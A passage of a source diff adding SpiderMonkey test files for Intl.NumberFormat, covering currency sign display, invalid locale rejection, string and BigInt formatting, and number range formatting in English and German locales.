+++ b/js/src/tests/non262/Intl/NumberFormat/currency-sign-accounting.js
@@ -0,0 +1,192 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+const {
+ Nan, Inf, Integer, MinusSign, PlusSign, Decimal, Fraction,
+ Currency, Literal,
+} = NumberFormatParts;
+
+const testcases = [
+ // "auto": Show the sign on negative numbers only.
+ {
+ locale: "en",
+ options: {
+ style: "currency",
+ currency: "USD",
+ currencySign: "accounting",
+ signDisplay: "auto",
+ },
+ values: [
+ {value: +0, string: "$0.00",
+ parts: [Currency("$"), Integer("0"), Decimal("."), Fraction("00")]},
+ {value: -0, string: "($0.00)",
+ parts: [Literal("("), Currency("$"), Integer("0"), Decimal("."), Fraction("00"), Literal(")")]},
+
+ {value: 1, string: "$1.00",
+ parts: [Currency("$"), Integer("1"), Decimal("."), Fraction("00")]},
+ {value: -1, string: "($1.00)",
+ parts: [Literal("("), Currency("$"), Integer("1"), Decimal("."), Fraction("00"), Literal(")")]},
+
+ {value: Infinity, string: "$∞", parts: [Currency("$"), Inf("∞")]},
+ {value: -Infinity, string: "($∞)", parts: [Literal("("), Currency("$"), Inf("∞"), Literal(")")]},
+
+ {value: NaN, string: "$NaN", parts: [Currency("$"), Nan("NaN")]},
+ {value: -NaN, string: "$NaN", parts: [Currency("$"), Nan("NaN")]},
+ ],
+ },
+
+ // "never": Show the sign on neither positive nor negative numbers.
+ {
+ locale: "en",
+ options: {
+ style: "currency",
+ currency: "USD",
+ currencySign: "accounting",
+ signDisplay: "never",
+ },
+ values: [
+ {value: +0, string: "$0.00", parts: [Currency("$"), Integer("0"), Decimal("."), Fraction("00")]},
+ {value: -0, string: "$0.00", parts: [Currency("$"), Integer("0"), Decimal("."), Fraction("00")]},
+
+ {value: 1, string: "$1.00", parts: [Currency("$"), Integer("1"), Decimal("."), Fraction("00")]},
+ {value: -1, string: "$1.00", parts: [Currency("$"), Integer("1"), Decimal("."), Fraction("00")]},
+
+ {value: Infinity, string: "$∞", parts: [Currency("$"), Inf("∞")]},
+ {value: -Infinity, string: "$∞", parts: [Currency("$"), Inf("∞")]},
+
+ {value: NaN, string: "$NaN", parts: [Currency("$"), Nan("NaN")]},
+ {value: -NaN, string: "$NaN", parts: [Currency("$"), Nan("NaN")]},
+ ],
+ },
+
+ // "always": Show the sign on positive and negative numbers including zero.
+ {
+ locale: "en",
+ options: {
+ style: "currency",
+ currency: "USD",
+ currencySign: "accounting",
+ signDisplay: "always",
+ },
+ values: [
+ {value: +0, string: "+$0.00",
+ parts: [PlusSign("+"), Currency("$"), Integer("0"), Decimal("."), Fraction("00")]},
+ {value: -0, string: "($0.00)",
+ parts: [Literal("("), Currency("$"), Integer("0"), Decimal("."), Fraction("00"), Literal(")")]},
+
+ {value: 1, string: "+$1.00",
+ parts: [PlusSign("+"), Currency("$"), Integer("1"), Decimal("."), Fraction("00")]},
+ {value: -1, string: "($1.00)",
+ parts: [Literal("("), Currency("$"), Integer("1"), Decimal("."), Fraction("00"), Literal(")")]},
+
+ {value: Infinity, string: "+$∞", parts: [PlusSign("+"), Currency("$"), Inf("∞")]},
+ {value: -Infinity, string: "($∞)", parts: [Literal("("), Currency("$"), Inf("∞"), Literal(")")]},
+
+ {value: NaN, string: "+$NaN", parts: [PlusSign("+"), Currency("$"), Nan("NaN")]},
+ {value: -NaN, string: "+$NaN", parts: [PlusSign("+"), Currency("$"), Nan("NaN")]},
+ ],
+ },
+
+ // "exceptZero": Show the sign on positive and negative numbers but not zero.
+ {
+ locale: "en",
+ options: {
+ style: "currency",
+ currency: "USD",
+ currencySign: "accounting",
+ signDisplay: "exceptZero",
+ },
+ values: [
+ {value: +0, string: "$0.00",
+ parts: [Currency("$"), Integer("0"), Decimal("."), Fraction("00")]},
+ {value: -0, string: "$0.00",
+ parts: [Currency("$"), Integer("0"), Decimal("."), Fraction("00")]},
+
+ {value: 1, string: "+$1.00",
+ parts: [PlusSign("+"), Currency("$"), Integer("1"), Decimal("."), Fraction("00")]},
+ {value: -1, string: "($1.00)",
+ parts: [Literal("("), Currency("$"), Integer("1"), Decimal("."), Fraction("00"), Literal(")")]},
+
+ {value: Infinity, string: "+$∞", parts: [PlusSign("+"), Currency("$"), Inf("∞")]},
+ {value: -Infinity, string: "($∞)", parts: [Literal("("), Currency("$"), Inf("∞"), Literal(")")]},
+
+ {value: NaN, string: "$NaN", parts: [Currency("$"), Nan("NaN")]},
+ {value: -NaN, string: "$NaN", parts: [Currency("$"), Nan("NaN")]},
+ ],
+ },
+
+ // Tests with suppressed fractional digits.
+
+ // "auto": Show the sign on negative numbers only.
+ {
+ locale: "en",
+ options: {
+ style: "currency",
+ currency: "USD",
+ currencySign: "accounting",
+ signDisplay: "auto",
+ minimumFractionDigits: 0,
+ maximumFractionDigits: 0,
+ },
+ values: [
+ {value: +0.1, string: "$0", parts: [Currency("$"), Integer("0")]},
+ {value: -0.1, string: "($0)", parts: [Literal("("), Currency("$"), Integer("0"), Literal(")")]},
+ ],
+ },
+
+ // "never": Show the sign on neither positive nor negative numbers.
+ {
+ locale: "en",
+ options: {
+ style: "currency",
+ currency: "USD",
+ currencySign: "accounting",
+ signDisplay: "never",
+ minimumFractionDigits: 0,
+ maximumFractionDigits: 0,
+ },
+ values: [
+ {value: +0.1, string: "$0", parts: [Currency("$"), Integer("0")]},
+ {value: -0.1, string: "$0", parts: [Currency("$"), Integer("0")]},
+ ],
+ },
+
+ // "always": Show the sign on positive and negative numbers including zero.
+ {
+ locale: "en",
+ options: {
+ style: "currency",
+ currency: "USD",
+ currencySign: "accounting",
+ signDisplay: "always",
+ minimumFractionDigits: 0,
+ maximumFractionDigits: 0,
+ },
+ values: [
+ {value: +0.1, string: "+$0", parts: [PlusSign("+"), Currency("$"), Integer("0")]},
+ {value: -0.1, string: "($0)", parts: [Literal("("), Currency("$"), Integer("0"), Literal(")")]},
+ ],
+ },
+
+ // "exceptZero": Show the sign on positive and negative numbers but not zero.
+ {
+ locale: "en",
+ options: {
+ style: "currency",
+ currency: "USD",
+ currencySign: "accounting",
+ signDisplay: "exceptZero",
+ minimumFractionDigits: 0,
+ maximumFractionDigits: 0,
+ },
+
+ values: [
+ {value: +0.1, string: "$0", parts: [Currency("$"), Integer("0")]},
+ {value: -0.1, string: "$0", parts: [Currency("$"), Integer("0")]},
+ ],
+ }
+];
+
+runNumberFormattingTestcases(testcases);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/NumberFormat/duplicate-singleton-variant.js b/js/src/tests/non262/Intl/NumberFormat/duplicate-singleton-variant.js
new file mode 100644
index 0000000000..42bf78c3fe
--- /dev/null
+++ b/js/src/tests/non262/Intl/NumberFormat/duplicate-singleton-variant.js
@@ -0,0 +1,49 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Check for duplicate variants and singletons case-insensitively, but don't
+// check in privateuse components.
+
+function checkInvalidLocale(locale)
+{
+ try
+ {
+ new Intl.NumberFormat(locale);
+ throw new Error("didn't throw");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof RangeError, true,
+ "expected RangeError for locale '" + locale + "', got " + e);
+ }
+}
+
+var badLocales =
+ [
+ "en-u-foo-U-foo",
+ "en-tester-Tester",
+ "en-tesTER-TESter",
+ "de-DE-u-kn-true-U-kn-true",
+ "ar-u-foo-q-bar-u-baz",
+ "ar-z-moo-u-foo-q-bar-z-eit-u-baz",
+ ];
+
+for (var locale of badLocales)
+ checkInvalidLocale(locale);
+
+// Fully-privateuse locales are rejected.
+for (var locale of badLocales)
+ assertThrowsInstanceOf(() => new Intl.NumberFormat("x-" + locale), RangeError);
+
+// Locales with trailing privateuse also okay.
+for (var locale of badLocales)
+{
+ new Intl.NumberFormat("en-x-" + locale).format(5);
+ new Intl.NumberFormat("en-u-foo-x-u-" + locale).format(5);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/NumberFormat/format-as-code-or-name.js b/js/src/tests/non262/Intl/NumberFormat/format-as-code-or-name.js
new file mode 100644
index 0000000000..ba257ecd71
--- /dev/null
+++ b/js/src/tests/non262/Intl/NumberFormat/format-as-code-or-name.js
@@ -0,0 +1,75 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1093421;
+var summary =
+ "new Intl.NumberFormat(..., { style: 'currency', currency: '...', " +
+ "currencyDisplay: 'name' or 'code' }) should have behavior other than " +
+ "throwing";
+
+print(BUGNUMBER + ": " + summary);
+
+//-----------------------------------------------------------------------------
+
+// Test that currencyDisplay: "code" behaves correctly and doesn't throw.
+
+var usdCodeOptions =
+ {
+ style: "currency",
+ currency: "USD",
+ currencyDisplay: "code",
+ minimumFractionDigits: 0,
+ maximumFractionDigits: 0,
+ };
+var usDollarsCode = new Intl.NumberFormat("en-US", usdCodeOptions);
+assertEq(/USD/.test(usDollarsCode.format(25)), true);
+
+// ISO 4217 currency codes are formed from an ISO 3166-1 alpha-2 country code
+// followed by a third letter. ISO 3166 guarantees that no country code
+// starting with "X" will ever be assigned. Stepping carefully around a few
+// 4217-designated special "currencies", XQQ will never have a representation.
+// Thus, yes: this really is specified to work, as unrecognized or unsupported
+// codes pass into the string unmodified.
+var xqqCodeOptions =
+ {
+ style: "currency",
+ currency: "XQQ",
+ currencyDisplay: "code",
+ minimumFractionDigits: 0,
+ maximumFractionDigits: 0,
+ };
+var xqqMoneyCode = new Intl.NumberFormat("en-US", xqqCodeOptions);
+assertEq(/XQQ/.test(xqqMoneyCode.format(25)), true);
+
+// Test that currencyDisplay: "name" behaves without throwing. (Unlike the two
+// above tests, the results here aren't guaranteed as the name is
+// implementation-defined.)
+var usdNameOptions =
+ {
+ style: "currency",
+ currency: "USD",
+ currencyDisplay: "name",
+ minimumFractionDigits: 0,
+ maximumFractionDigits: 0,
+ };
+var usDollarsName = new Intl.NumberFormat("en-US", usdNameOptions);
+assertEq(usDollarsName.format(25), "25 US dollars");
+
+// But if the implementation doesn't recognize the currency, the provided code
+// is used in place of a proper name, unmolested.
+var xqqNameOptions =
+ {
+ style: "currency",
+ currency: "XQQ",
+ currencyDisplay: "name",
+ minimumFractionDigits: 0,
+ maximumFractionDigits: 0,
+ };
+var xqqMoneyName = new Intl.NumberFormat("en-US", xqqNameOptions);
+assertEq(/XQQ/.test(xqqMoneyName.format(25)), true);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/NumberFormat/format-string.js b/js/src/tests/non262/Intl/NumberFormat/format-string.js
new file mode 100644
index 0000000000..88b11008d9
--- /dev/null
+++ b/js/src/tests/non262/Intl/NumberFormat/format-string.js
@@ -0,0 +1,150 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl")||release_or_beta)
+
+function groupByThree(s) {
+ return String(s).split("").reduceRight((acc, x) => x + (acc.match(/^\d{3}/) ? "," : "") + acc, "");
+}
+
+const tests = [
+ {value: "", expected: "0"},
+ {value: "0", expected: "0"},
+ {value: "+0", expected: "0"},
+ {value: "-0", expected: "-0"},
+
+ {value: "Infinity", expected: "∞"},
+ {value: "+Infinity", expected: "∞"},
+ {value: "-Infinity", expected: "-∞"},
+
+ {value: "NaN", expected: "NaN"},
+ {value: "invalid", expected: "NaN"},
+
+ // Integer 1 with and without fractional/exponent part.
+ {value: "1", expected: "1"},
+ {value: "1.", expected: "1"},
+ {value: "1.0", expected: "1"},
+ {value: "1.00", expected: "1"},
+ {value: "1e0", expected: "1"},
+ {value: "1e+0", expected: "1"},
+ {value: "1e-0", expected: "1"},
+
+ // Leading zeros.
+ {value: "01", expected: "1"},
+ {value: "01.", expected: "1"},
+ {value: "01.0", expected: "1"},
+ {value: "01.00", expected: "1"},
+ {value: "01e0", expected: "1"},
+ {value: "01e+0", expected: "1"},
+ {value: "01e-0", expected: "1"},
+
+ // Large values.
+ {value: "1e300", expected: "1" + ",000".repeat(100)},
+ {value: "1e3000", expected: "1" + ",000".repeat(1000)},
+ {value: "9007199254740991", expected: "9,007,199,254,740,991"},
+ {value: "9007199254740992", expected: "9,007,199,254,740,992"},
+ {value: "9007199254740993", expected: "9,007,199,254,740,993"},
+
+ {value: "-1e300", expected: "-1" + ",000".repeat(100)},
+ {value: "-1e3000", expected: "-1" + ",000".repeat(1000)},
+ {value: "-9007199254740991", expected: "-9,007,199,254,740,991"},
+ {value: "-9007199254740992", expected: "-9,007,199,254,740,992"},
+ {value: "-9007199254740993", expected: "-9,007,199,254,740,993"},
+
+ // Small values.
+ {value: "0.10000000000000000001", expected: "0.10000000000000000001"},
+ {value: "0.00000000000000000001", expected: "0.00000000000000000001"},
+ {value: "1e-20", expected: "0.00000000000000000001"},
+ {value: "1e-30", expected: "0"},
+
+ {value: "-0.10000000000000000001", expected: "-0.10000000000000000001"},
+ {value: "-0.00000000000000000001", expected: "-0.00000000000000000001"},
+ {value: "-1e-20", expected: "-0.00000000000000000001"},
+ {value: "-1e-30", expected: "-0"},
+
+ // Non-standard exponent notation.
+ {value: ".001e-2", expected: "0.00001"},
+ {value: "123.001e-2", expected: "1.23001"},
+ {value: "1000e-2", expected: "10"},
+ {value: "1000e+2", expected: "100,000"},
+ {value: "1000e-0", expected: "1,000"},
+
+ // Non-decimal strings.
+ {value: "0b101", expected: "5"},
+ {value: "0o377", expected: "255"},
+ {value: "0xdeadBEEF", expected: "3,735,928,559"},
+ {value: "0B0011", expected: "3"},
+ {value: "0O0777", expected: "511"},
+ {value: "0X0ABC", expected: "2,748"},
+ {value: "0b" + "1".repeat(1000), expected: groupByThree((2n ** 1000n) - 1n)},
+ {value: "0o1" + "7".repeat(333), expected: groupByThree((2n ** 1000n) - 1n)},
+ {value: "0x" + "f".repeat(250), expected: groupByThree((2n ** 1000n) - 1n)},
+
+ // Non-decimal strings don't accept a sign.
+ {value: "+0xbad", expected: "NaN"},
+ {value: "-0xbad", expected: "NaN"},
+];
+
+// https://tc39.es/ecma262/#prod-StrWhiteSpaceChar
+const strWhiteSpaceChar = [
+ "",
+
+ // https://tc39.es/ecma262/#sec-white-space
+ "\t", "\v", "\f", " ", "\u00A0", "\uFEFF",
+ "\u1680", "\u2000", "\u2001", "\u2002", "\u2003", "\u2004", "\u2005", "\u2006",
+ "\u2007", "\u2008", "\u2009", "\u200A", "\u202F", "\u205F", "\u3000",
+
+ // https://tc39.es/ecma262/#sec-line-terminators
+ "\n", "\r", "\u2028", "\u2029",
+];
+
+let nf = new Intl.NumberFormat("en", {maximumFractionDigits: 20});
+for (let {value, expected} of tests) {
+ for (let ws of strWhiteSpaceChar) {
+ assertEq(nf.format(ws + value), expected);
+ assertEq(nf.format(value + ws), expected);
+ assertEq(nf.format(ws + value + ws), expected);
+ }
+}
+
+// The specification doesn't impose any limits for the exponent, but we throw
+// an error if the exponent is too large.
+{
+ let nf = new Intl.NumberFormat("en", {useGrouping: false});
+ for (let value of [
+ // ICU limit is 999'999'999 (exclusive).
+ ".1e-999999999",
+ ".1e+999999999",
+
+ // We limit positive exponents to 9'999'999 (inclusive).
+ "1e+9999999",
+ "1e+99999999",
+
+ // Int32 overflow when computing the exponent.
+ ".1e-2147483649",
+ ".1e-2147483648",
+ ".1e-2147483647",
+ ".1e+2147483647",
+ ".1e+2147483648",
+ ".1e+2147483649",
+ ]) {
+ assertThrowsInstanceOf(() => nf.format(value), RangeError);
+ }
+
+ // We allow up to ±9'999'999.
+ assertEq(nf.format(".1e-9999999"), "0");
+ assertEq(nf.format(".1e+9999999"), "1" + "0".repeat(9_999_999 - 1));
+
+ // Negative exponents are even valid up to -999'999'998
+ assertEq(nf.format(".1e-999999998"), "0");
+}
+
+// Combine extreme values with other rounding modes.
+{
+ let nf = new Intl.NumberFormat("en", {
+ minimumFractionDigits: 20,
+ roundingMode: "ceil",
+ roundingIncrement: 5000,
+ });
+ assertEq(nf.format(".1e-999999998"), "0.00000000000000005000");
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/NumberFormat/format.js b/js/src/tests/non262/Intl/NumberFormat/format.js
new file mode 100644
index 0000000000..db35251b20
--- /dev/null
+++ b/js/src/tests/non262/Intl/NumberFormat/format.js
@@ -0,0 +1,55 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Tests the format function with a diverse set of locales and options.
+
+var format;
+
+// Locale en-US; default options.
+format = new Intl.NumberFormat("en-us");
+assertEq(format.format(0), "0");
+assertEq(format.format(-1), "-1");
+assertEq(format.format(123456789.123456789), "123,456,789.123");
+
+// Locale en-US; currency USD.
+// The US dollar uses two fractional digits, and negative values are commonly
+// parenthesized.
+format = new Intl.NumberFormat("en-us", {style: "currency", currency: "USD"});
+assertEq(format.format(0), "$0.00");
+assertEq(format.format(-1), "-$1.00");
+assertEq(format.format(123456789.123456789), "$123,456,789.12");
+
+// Locale ja-JP; currency JPY.
+// The Japanese yen has no subunit in real life.
+format = new Intl.NumberFormat("ja-jp", {style: "currency", currency: "JPY"});
+assertEq(format.format(0), "¥0");
+assertEq(format.format(-1), "-¥1");
+assertEq(format.format(123456789.123456789), "¥123,456,789");
+
+// Locale ar-JO; currency JOD.
+// The Jordanian Dinar divides into 1000 fils. Jordan uses (real) Arabic digits.
+format = new Intl.NumberFormat("ar-jo", {style: "currency", currency: "JOD"});
+assertEq(format.format(0), "\u{200F}٠٫٠٠٠ د.أ.\u{200F}");
+assertEq(format.format(-1), "\u{061C}-\u{200F}١٫٠٠٠ د.أ.\u{200F}");
+assertEq(format.format(123456789.123456789), "\u{200F}١٢٣٬٤٥٦٬٧٨٩٫١٢٣ د.أ.\u{200F}");
+
+// Locale th-TH; Thai digits, percent, two significant digits.
+format = new Intl.NumberFormat("th-th-u-nu-thai",
+ {style: "percent",
+ minimumSignificantDigits: 2,
+ maximumSignificantDigits: 2});
+assertEq(format.format(0), "๐.๐%");
+assertEq(format.format(-0.01), "-๑.๐%");
+assertEq(format.format(1.10), "๑๑๐%");
+
+
+// Test the .name property of the "format" getter.
+var desc = Object.getOwnPropertyDescriptor(Intl.NumberFormat.prototype, "format");
+assertEq(desc !== undefined, true);
+assertEq(typeof desc.get, "function");
+assertEq(desc.get.name, "get format");
+
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/Intl/NumberFormat/formatRange-BigInt.js b/js/src/tests/non262/Intl/NumberFormat/formatRange-BigInt.js
new file mode 100644
index 0000000000..36ccdf59e3
--- /dev/null
+++ b/js/src/tests/non262/Intl/NumberFormat/formatRange-BigInt.js
@@ -0,0 +1,150 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl")||release_or_beta)
+
+// Int64-BigInts which can be exactly represented as doubles receive a fast-path.
+
+const tests = {
+ "en": {
+ options: {},
+ ranges: [
+ // BigInt around Number.MIN_SAFE_INTEGER.
+ {
+ start: -0x20000000000001n,
+ end: -0x20000000000000n,
+ result: "-9,007,199,254,740,993 – -9,007,199,254,740,992",
+ },
+ {
+ start: -0x20000000000000n,
+ end: -0x20000000000000n,
+ result: "~-9,007,199,254,740,992",
+ },
+ {
+ start: -0x20000000000000n,
+ end: -0x1fffffffffffffn,
+ result: "-9,007,199,254,740,992 – -9,007,199,254,740,991",
+ },
+ {
+ start: -0x1fffffffffffffn,
+ end: -0x1fffffffffffffn,
+ result: "~-9,007,199,254,740,991",
+ },
+ {
+ start: -0x1fffffffffffffn,
+ end: -0x1ffffffffffffen,
+ result: "-9,007,199,254,740,991 – -9,007,199,254,740,990",
+ },
+ {
+ start: -0x1ffffffffffffen,
+ end: -0x1ffffffffffffen,
+ result: "~-9,007,199,254,740,990",
+ },
+
+ // BigInt around Number.MAX_SAFE_INTEGER.
+ {
+ start: 0x1ffffffffffffen,
+ end: 0x1ffffffffffffen,
+ result: "~9,007,199,254,740,990",
+ },
+ {
+ start: 0x1ffffffffffffen,
+ end: 0x1fffffffffffffn,
+ result: "9,007,199,254,740,990–9,007,199,254,740,991",
+ },
+ {
+ start: 0x1fffffffffffffn,
+ end: 0x1fffffffffffffn,
+ result: "~9,007,199,254,740,991",
+ },
+ {
+ start: 0x1fffffffffffffn,
+ end: 0x20000000000000n,
+ result: "9,007,199,254,740,991–9,007,199,254,740,992",
+ },
+ {
+ start: 0x20000000000000n,
+ end: 0x20000000000000n,
+ result: "~9,007,199,254,740,992",
+ },
+ {
+ start: 0x20000000000000n,
+ end: 0x20000000000001n,
+ result: "9,007,199,254,740,992–9,007,199,254,740,993",
+ },
+
+ // BigInt around INT64_MIN.
+ {
+ start: -0x8000000000000002n,
+ end: -0x8000000000000001n,
+ result: "-9,223,372,036,854,775,810 – -9,223,372,036,854,775,809",
+ },
+ {
+ start: -0x8000000000000001n,
+ end: -0x8000000000000001n,
+ result: "~-9,223,372,036,854,775,809",
+ },
+ {
+ start: -0x8000000000000001n,
+ end: -0x8000000000000000n,
+ result: "-9,223,372,036,854,775,809 – -9,223,372,036,854,775,808",
+ },
+ {
+ start: -0x8000000000000000n,
+ end: -0x8000000000000000n,
+ result: "~-9,223,372,036,854,775,808",
+ },
+ {
+ start: -0x8000000000000000n,
+ end: -0x7fffffffffffffffn,
+ result: "-9,223,372,036,854,775,808 – -9,223,372,036,854,775,807",
+ },
+ {
+ start: -0x7fffffffffffffffn,
+ end: -0x7fffffffffffffffn,
+ result: "~-9,223,372,036,854,775,807",
+ },
+
+ // BigInt around INT64_MAX.
+ {
+ start: 0x7ffffffffffffffen,
+ end: 0x7ffffffffffffffen,
+ result: "~9,223,372,036,854,775,806",
+ },
+ {
+ start: 0x7ffffffffffffffen,
+ end: 0x7fffffffffffffffn,
+ result: "9,223,372,036,854,775,806–9,223,372,036,854,775,807",
+ },
+ {
+ start: 0x7fffffffffffffffn,
+ end: 0x7fffffffffffffffn,
+ result: "~9,223,372,036,854,775,807",
+ },
+ {
+ start: 0x7fffffffffffffffn,
+ end: 0x8000000000000000n,
+ result: "9,223,372,036,854,775,807–9,223,372,036,854,775,808",
+ },
+ {
+ start: 0x8000000000000000n,
+ end: 0x8000000000000000n,
+ result: "~9,223,372,036,854,775,808",
+ },
+ {
+ start: 0x8000000000000000n,
+ end: 0x8000000000000001n,
+ result: "9,223,372,036,854,775,808–9,223,372,036,854,775,809",
+ },
+ ],
+ },
+};
+
+for (let [locale, {options, ranges}] of Object.entries(tests)) {
+ let nf = new Intl.NumberFormat(locale, options);
+ for (let {start, end, result} of ranges) {
+ assertEq(nf.formatRange(start, end), result, `${start}-${end}`);
+ assertEq(nf.formatRangeToParts(start, end).reduce((acc, part) => acc + part.value, ""),
+ result, `${start}-${end}`);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/NumberFormat/formatRange.js b/js/src/tests/non262/Intl/NumberFormat/formatRange.js
new file mode 100644
index 0000000000..da5a940ca8
--- /dev/null
+++ b/js/src/tests/non262/Intl/NumberFormat/formatRange.js
@@ -0,0 +1,296 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl")||release_or_beta)
+
+// String representation for Number.MAX_VALUE.
+const en_Number_MAX_VALUE = "179,769,313,486,231,570" + ",000".repeat(97);
+const de_Number_MAX_VALUE = en_Number_MAX_VALUE.replaceAll(",", ".");
+const fr_Number_MAX_VALUE = en_Number_MAX_VALUE.replaceAll(",", " ");
+
+const tests = {
+ "en": {
+ options: {},
+ ranges: [
+ // Values around zero.
+ {start: 0, end: 0, result: "~0"},
+ {start: 0, end: -0, result: "0–-0"},
+ {start: -0, end: 0, result: "-0 – 0"},
+ {start: -0, end: 0.1e-3, result: "-0 – 0"},
+ {start: -0, end: "0.1e-3", result: "-0 – 0"},
+ {start: "-0", end: 0.1e-3, result: "-0 – 0"},
+ {start: -0, end: -0, result: "~-0"},
+ {start: -0, end: -0.1, result: "-0 – -0.1"},
+
+ // Values starting at negative infinity.
+ {start: -Infinity, end: -Infinity, result: "~-∞"},
+ {start: -Infinity, end: -0, result: "-∞ – -0"},
+ {start: -Infinity, end: +0, result: "-∞ – 0"},
+ {start: -Infinity, end: +Infinity, result: "-∞ – ∞"},
+
+ // Values ending at negative infinity.
+ {start: -Number.MAX_VALUE, end: -Infinity, result: "-" + en_Number_MAX_VALUE + " – -∞"},
+ {start: -0, end: -Infinity, result: "-0 – -∞"},
+ {start: 0, end: -Infinity, result: "0–-∞"},
+ {start: Number.MAX_VALUE, end: -Infinity, result: en_Number_MAX_VALUE + "–-∞"},
+
+ // Values starting at positive infinity.
+ {start: Infinity, end: Number.MAX_VALUE, result: "∞–" + en_Number_MAX_VALUE},
+ {start: Infinity, end: 0, result: "∞–0"},
+ {start: Infinity, end: -0, result: "∞–-0"},
+ {start: Infinity, end: -Number.MAX_VALUE, result: "∞–-" + en_Number_MAX_VALUE},
+ {start: Infinity, end: -Infinity, result: "∞–-∞"},
+
+ // Values ending at positive infinity.
+ {start: Infinity, end: Infinity, result: "~∞"},
+
+ // Non-special cases.
+ {start: 1, end: 100, result: "1–100"},
+ {start: -100, end: 100, result: "-100 – 100"},
+ {start: -1000, end: -100, result: "-1,000 – -100"},
+ {start: Math.PI, end: 123_456.789, result: "3.142–123,456.789"},
+ {start: -Math.PI, end: Math.E, result: "-3.142 – 2.718"},
+ {
+ start: Number.MAX_SAFE_INTEGER,
+ end: 9007199254740993,
+ result: "9,007,199,254,740,991–9,007,199,254,740,992",
+ },
+ {
+ start: Number.MAX_SAFE_INTEGER,
+ end: "9007199254740993",
+ result: "9,007,199,254,740,991–9,007,199,254,740,993",
+ },
+
+ // Start value is larger than end value.
+ {start: -0, end: -0.1, result: "-0 – -0.1"},
+ {start: -0, end: -Number.MAX_VALUE, result: "-0 – -" + en_Number_MAX_VALUE},
+ {start: 1, end: 0, result: "1–0"},
+ {start: 0, end: -1, result: "0–-1"},
+ {start: 1, end: -1, result: "1–-1"},
+ {start: -1, end: -2, result: "-1 – -2"},
+ {start: "10e2", end: "1e-3", result: "1,000–0.001"},
+ {start: "0x100", end: "1e1", result: "256–10"},
+ {start: ".1e-999999", end: ".01e-999999", result: "~0"},
+ {start: ".1e99999", end: "0", result: "100" + ",000".repeat(33332) + "–0"},
+ // Number.MAX_VALUE is 1.7976931348623157e+308.
+ {
+ start: "1.7976931348623158e+308",
+ end: Number.MAX_VALUE,
+ result: "179,769,313,486,231,580" + ",000".repeat(97) + "–" + en_Number_MAX_VALUE,
+ },
+ // Number.MIN_VALUE is 5e-324.
+ {start: "6e-324", end: Number.MIN_VALUE, result: "~0"},
+ ],
+ },
+ "de": {
+ options: {style: "currency", currency: "EUR"},
+ ranges: [
+ // Values around zero.
+ {start: 0, end: 0, result: "≈0,00 €"},
+ {start: 0, end: -0, result: "0,00 € – -0,00 €"},
+ {start: -0, end: 0, result: "-0,00 € – 0,00 €"},
+ {start: -0, end: 0.1e-3, result: "-0,00 € – 0,00 €"},
+ {start: -0, end: "0.1e-3", result: "-0,00 € – 0,00 €"},
+ {start: "-0", end: 0.1e-3, result: "-0,00 € – 0,00 €"},
+ {start: -0, end: -0, result: "≈-0,00 €"},
+ {start: -0, end: -0.1, result: "-0,00–0,10 €"},
+
+ // Values starting at negative infinity.
+ {start: -Infinity, end: -Infinity, result: "≈-∞ €"},
+ {start: -Infinity, end: -0, result: "-∞–0,00 €"},
+ {start: -Infinity, end: +0, result: "-∞ € – 0,00 €"},
+ {start: -Infinity, end: +Infinity, result: "-∞ € – ∞ €"},
+
+ // Values ending at negative infinity.
+ {start: -Number.MAX_VALUE, end: -Infinity, result: "-" + de_Number_MAX_VALUE + ",00–∞ €"},
+ {start: -0, end: -Infinity, result: "-0,00–∞ €"},
+ {start: 0, end: -Infinity, result: "0,00 € – -∞ €"},
+ {start: Number.MAX_VALUE, end: -Infinity, result: de_Number_MAX_VALUE + ",00 € – -∞ €"},
+
+ // Values starting at positive infinity.
+ {start: Infinity, end: Number.MAX_VALUE, result: "∞–" + de_Number_MAX_VALUE + ",00 €"},
+ {start: Infinity, end: 0, result: "∞–0,00 €"},
+ {start: Infinity, end: -0, result: "∞ € – -0,00 €"},
+ {start: Infinity, end: -Number.MAX_VALUE, result: "∞ € – -" + de_Number_MAX_VALUE + ",00 €"},
+ {start: Infinity, end: -Infinity, result: "∞ € – -∞ €"},
+
+ // Values ending at positive infinity.
+ {start: Infinity, end: Infinity, result: "≈∞ €"},
+
+ // Non-special cases.
+ {start: 1, end: 100, result: "1,00–100,00 €"},
+ {start: -100, end: 100, result: "-100,00 € – 100,00 €"},
+ {start: -1000, end: -100, result: "-1.000,00–100,00 €"},
+ {start: Math.PI, end: 123_456.789, result: "3,14–123.456,79 €"},
+ {start: -Math.PI, end: Math.E, result: "-3,14 € – 2,72 €"},
+ {
+ start: Number.MAX_SAFE_INTEGER,
+ end: 9007199254740993,
+ result: "9.007.199.254.740.991,00–9.007.199.254.740.992,00 €",
+ },
+ {
+ start: Number.MAX_SAFE_INTEGER,
+ end: "9007199254740993",
+ result: "9.007.199.254.740.991,00–9.007.199.254.740.993,00 €",
+ },
+
+ // Start value is larger than end value.
+ {start: -0, end: -0.1, result: "-0,00–0,10 €"},
